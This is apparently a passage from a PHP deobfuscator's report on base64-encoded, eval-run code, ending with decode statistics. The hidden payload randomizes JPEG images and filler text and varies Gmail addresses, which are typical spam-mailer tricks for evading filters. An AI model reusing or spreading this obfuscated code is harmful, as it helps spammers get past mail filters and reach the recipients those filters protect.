ICAgICAgICAgICAkcmVzdWx0IC49ICRzdHJbIHJhbmQoIDAsIHN0cmxlbiggJHN0ciApIC0gMSApIF07CiAgICAgICAgfQogICAgICAgICRzaWduID0gYXJyYXkoCiAgICAgICAgICAgICcgJywKICAgICAgICAgICAgJyAnLAogICAgICAgICAgICAnICcsCiAgICAgICAgICAgICcgJywKICAgICAgICAgICAgJywgJywKICAgICAgICAgICAgJz8gJywKICAgICAgICAgICAgJy4gJywKICAgICAgICAgICAgJy4gJwogICAgICAgICk7CiAgICAgICAgJHJlc3VsdCAuPSAkc2lnblsgcmFuZCggMCwgNyApIF07CiAgICB9CiAgICByZXR1cm4gdHJpbSggJHJlc3VsdCApOwp9CgpmdW5jdGlvbiBDaGVja0JmdWlrbG1la2c2KCkKewogICAgJGFycmF5ID0gYXJyYXkoCiAgICAgICAgJ2dldGltYWdlc2l6ZScsCiAgICAgICAgJ2ltYWdlY3JlYXRldHJ1ZWNvbG9yJywKICAgICAgICAnaW1hZ2VjcmVhdGVmcm9tanBlZycsCiAgICAgICAgJ2ltYWdlY29weXJlc2FtcGxlZCcsCiAgICAgICAgJ2ltYWdlZmlsdGVyJywKICAgICAgICAnb2Jfc3RhcnQnLAogICAgICAgICdpbWFnZWpwZWcnLAogICAgICAgICdvYl9nZXRfY2xlYW4nCiAgICApOwoKICAgIGZvciggJGMgPSAwLCAkbWF4ID0gc2l6ZW9mKCAkYXJyYXkgKTsgJGMgPCAkbWF4OyAkYysrICkgewogICAgICAgIGlmKCAhIGZ1bmN0aW9uX2V4aXN0cyggJGFycmF5WyAkYyBdICkgKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gQmZ1aWtsbWVrZzYoICRmaWxlICkKewogICAgJHJhbmRbICd3aWR0aCcgXSA9IHJhbmQoIDEsIDIgKTsKICAgICRyYW5kWyAnaGVpZ2h0JyBdID0gcmFuZCggMSwgMiApOwogICAgJHJhbmRbICdxdWFsaXR5JyBdID0gcmFuZCggMSwgMiApOwogICAgJHJhbmRbICdicmlnaHRuZXNzJyBdID0gcmFuZCggMSwgMiApOwogICAgJHJhbmRbICdjb250cmFzdCcgXSA9IHJhbmQoIDEsIDIgKTsKCiAgICBsaXN0KCAkd2lkdGgsICRoZWlnaHQgKSA9IGdldGltYWdlc2l6ZSggJGZpbGUgKTsKCiAgICBpZiggJHJhbmRbICd3aWR0aCcgXSA9PSAxICkgewogICAgICAgICRzaWduID0gcmFuZCggMSwgMiApOwogICAgICAgIGlmKCAkc2lnbiA9PSAxICkgewogICAgICAgICAgICAkbmV3X3dpZHRoID0gJHdpZHRoICsgcmFuZCggMSwgMTAgKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRuZXdfd2lkdGggPSAkd2lkdGggLSByYW5kKCAxLCAxMCApOwogICAgICAgIH0KICAgIH0KICAgIGVsc2UgewogICAgICAgICRuZXdfd2lkdGggPSAkd2lkdGg7CiAgICB9CiAgICBpZiggJHJhbmRbICdoZWlnaHQnIF0gPT0gMSApIHsKICAgICAgICAkc2lnbiA9IHJhbmQoIDEsIDIgKTsKICAgICAgICBpZiggJHNpZ24gPT0gMSApIHsKICAgICAgICAgICAgJG5ld19oZWlnaHQgPSAkaGVpZ2h0ICsgcmFuZCggMSwgMTAgKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRuZXdfaGVpZ2h0ID0gJGhlaWdodCAtIHJhbmQoIDEsIDEwICk7CiAgICAgICAgfQogICAgfQogICAgZWxzZSB7CiAgICAgICAgJG5ld19oZWlnaHQgPSAkaGVpZ2h0OwogICAgfQogICAgaWYoICRyYW5kWyAncXVhbGl0eScgXSA9PSAxICkgewogICAgICAgICRxdWFsaXR5ID0gNzU7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkcXVhbGl0eSA9IHJhbmQoIDY1LCAxMDUgKTsKICAgIH0KICAgIGlmKCAkcmFuZFsgJ2JyaWdodG5lc3MnIF0gPT0gMSApIHsKICAgICAgICAkYnJpZ2h0bmVzcyA9IHJhbmQoIDAsIDM1ICk7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkYnJpZ2h0bmVzcyA9IDA7CiAgICB9CiAgICBpZiggJHJhbmRbICdjb250cmFzdCcgXSA9PSAxICkgewogICAgICAgICRzaWduID0gcmFuZCggMSwgMiApOwogICAgICAgIGlmKCAkc2lnbiA9PSAxICkgewogICAgICAgICAgICAkc2lnbiA9ICcrJzsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRzaWduID0gJy0nOwogICAgICAgIH0KICAgICAgICAkY29udHJhc3QgPSByYW5kKCAxLCAxNSApOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJHNpZ24gPSAnJzsKICAgICAgICAkY29udHJhc3QgPSAwOwogICAgfQoKICAgICRpbWFnZV9wID0gaW1hZ2VjcmVhdGV0cnVlY29sb3IoICRuZXdfd2lkdGgsICRuZXdfaGVpZ2h0ICk7CiAgICAkaW1hZ2UgPSBpbWFnZWNyZWF0ZWZyb21qcGVnKCAkZmlsZSApOwogICAgaW1hZ2Vjb3B5cmVzYW1wbGVkKCAkaW1hZ2VfcCwgJGltYWdlLCAwLCAwLCAwLCAwLCAkbmV3X3dpZHRoLCAkbmV3X2hlaWdodCwgJHdpZHRoLCAkaGVpZ2h0ICk7CiAgICBpbWFnZWZpbHRlciggJGltYWdlX3AsIElNR19GSUxURVJfQ09OVFJBU1QsICRzaWduIC4gJGNvbnRyYXN0ICk7CiAgICBpbWFnZWZpbHRlciggJGltYWdlX3AsIElNR19GSUxURVJfQlJJR0hUTkVTUywgJGJyaWdodG5lc3MgKTsKICAgIG9iX3N0YXJ0KCk7CiAgICBpbWFnZWpwZWcoICRpbWFnZV9wLCBudWxsLCAkcXVhbGl0eSApOwogICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgaW1hZ2VkZXN0cm95KCAkaW1hZ2VfcCApOwoKICAgIHJldHVybiAkb3V0Owp9CgovKmZ1bmN0aW9uIFJhbmRHbWFpbCgkZW1haWwpCnsKICAgICRsb2dpbiAgPSBleHBsb2RlKCdAJywgJGVtYWlsKTsKICAgICRyZXN1bHQgPSAnJzsKICAgICRsb2dpbiAgPSBzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCcuJywgJycsICRsb2dpblswXSkpOwoKICAgICRzaXplID0gc3RybGVuKCRsb2dpbik7CgogICAgZm9yICgkYyA9IDAsICRtYXggPSAkc2l6ZTsgJGMgPCAkbWF4OyAkYysrKSB7CiAgICAgICAgJHVwICA9IHJhbmQoMCwgMSk7CiAgICAgICAgJGRvdCA9IHJhbmQoMCwgMSk7CgogICAgICAgICRzeW1ib2wgPSAkbG9naW5bJGNdOwoKICAgICAgICBpZiAoJHVwID09IDEpIHsKICAgICAgICAgICAgJHN5bWJvbCA9IHN0cnRvdXBwZXIoJHN5bWJvbCk7CiAgICAgICAgfQogICAgICAgIGlmICgkZG90ID09IDEpIHsKICAgICAgICAgICAgJHN5bWJvbCA9ICRzeW1ib2wgLiAnLic7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHN5bWJvbDsKICAgIH0KCiAgICBpZiAoc3Vic3RyKCRyZXN1bHQsIC0xKSA9PSAnLicpIHsKICAgICAgICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsIDAsIC0xKTsKICAgIH0KCiAgICByZXR1cm4gJHJlc3VsdCAuICdAZ21haWwuY29tJzsKfSovCgo=" ) );
Function Calls
base64_decode | 1 |
Stats
MD5 | 204acb016cef1f29582b489a0da70bc7 |
Eval Count | 1 |
Decode Time | 78 ms |